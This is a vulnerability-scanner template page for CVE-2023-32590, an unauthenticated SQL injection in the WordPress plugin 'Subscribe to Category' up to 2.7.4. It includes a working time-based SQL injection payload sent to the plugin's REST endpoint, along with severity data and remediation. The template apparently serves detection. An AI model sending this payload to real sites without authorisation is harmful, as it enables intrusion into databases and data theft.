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Subscribe to Category <= 2.7.4 - SQL Injection

CVE-2023-32590
Verified

Description

The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.

Severity

Critical

CVSS Score

9.3

Exploit Probability

2%

Published Date

February 14, 2026

Template Author

shivam kamboj

CVE-2023-32590.yaml
id: CVE-2023-32590

info:
  name: Subscribe to Category <= 2.7.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  remediation: |
    Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/subscribe-to-category/subscribe-to-category-274-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32590
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2023-32590
    epss-score: 0.01646
    epss-percentile: 0.73618
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,subscribe-to-category,unauth

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-json/textmagic/v1/smsreceived HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sender": "1' AND (SELECT 1 FROM (SELECT(SLEEP(10)))sqltest) AND '1'='1","text": "test"}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 10'
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 490a004630440220596729005d7e832251d8f4b76afeac48784df70a20fddeb0313d7928d18f394402205be41bc8b98d34b4b748c222cac893946ada66b5f27c53a26c946cb10359bd59:922c64590222798bb761d5b6d8e72950
9.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
CVE ID:
cve-2023-32590
CWE ID:
cwe-89

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/subscribe-to-category/subscribe-to-category-274-unauthenticated-sql-injectionhttps://nvd.nist.gov/vuln/detail/CVE-2023-32590

Remediation Steps

Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.